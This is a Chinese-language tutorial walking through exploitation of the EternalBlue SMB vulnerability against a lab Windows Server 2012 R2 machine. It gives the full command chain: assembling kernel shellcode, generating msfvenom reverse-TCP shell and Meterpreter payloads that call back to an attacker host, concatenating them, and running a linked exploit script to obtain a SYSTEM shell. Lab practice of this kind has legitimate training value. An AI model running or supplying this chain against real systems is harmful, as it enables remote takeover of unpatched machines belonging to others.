这里我们简单地进行测试,我们需要一个kali2017.1的虚拟机,以及一个Windows 2012 R2的目标靶机虚拟机。

图一 Windows 2012 R2(x64)
该漏洞可以在低权限下被利用,这种前提条件需要获得目标靶机的普通用户登录凭据(用户名和密码),一旦该漏洞被利用总会收到一个system权限的终端。

图二 创建一个普通账号test

图三 启用来宾用户guest
要理解这个漏洞如何被利用,我们必须考虑这三种类型的文件,以及我们如何创建这些文件:
Exploit
Kernel Shellcode
Userland Shellcode

图四 第一种流程图

图五 第二种流程图
我们首先要创建一个Kernel Shellcode,可从下面地址中获得:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
将下载的代码复制粘贴另存为kernel_shell_x64.asm,为了执行它,我们将执行这个命令:
nasm -f bin kernel_shell_x64.asm
因此,它将生成一个名为kernel_shell_x64 的文件 :

图六 创建 kernel_shell_x64
下一步是要创建一个 普通用户的Shellcode(为了简化,它会创建一个二进制文件,其中将包含我们的有效载荷)我们需要使用工具msfvenom
它将创建两种类型的有效负载:
Meterpreter反向tcp的有效载荷:
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=10.0.0.86 LPORT=4444

图片七 创建反向tcp的有效载荷
反向msf的有效载荷Meterpreter:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=10.0.0.86 LPORT=4444

图八 msf的有效载荷Meterpreter
一旦创建了有效载荷,我们应该把每一个与kernel_shell_x64 文件连接起来, 这样我们将生成新的二进制文件:
cat kernel_shell_x64 shell_msf.bin> reverse_shell.bin

图九 生成reverse_shell.bin

图十 生成meterpreter.bin
我们创建一个名为binaries的文件夹,我们将文件meterpreter.bin和reverse_shell.bin复制到该文件下。
mkdir binarios
cp reverse_shell.bin meterpreter.bin binarios/
cd binarios/
ls

图十一 创建二进制文件夹和复制文件
Exploit.py创建文件,代码可以从该链接下载:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e

图十二 创建exploit.py文件
在下面配置中我们可以使用普通用户权限的账号也可以用来宾账号(如需要来宾则需要启用guest账号)进行修改测试。

图十四 test用户Exploit.py配置


图十五 shell监听反弹(Payload: windows/x64/shell/reverse_tcp)

图十六 msf监听反弹(Payload: windows/x64/meterpreter/reverse_tcp)
在这一步中,我们将使用exploit.py和包含反向shell或meterpreter负载会话的二进制文件进行攻击。值为“500”的参数对应于“numGroomConn”。调整连接数量“Groom”有助于在内核中实现连续的内存池,以便覆盖缓冲区结束我们想要的位置,并实现正确的shellcode执行。

图十七 利用负载reverse_shell.bin

图十八 利用有效载荷meterpreter.bin

图十九 获取目标终端shell

图二十 有效载荷Meterpreter的shell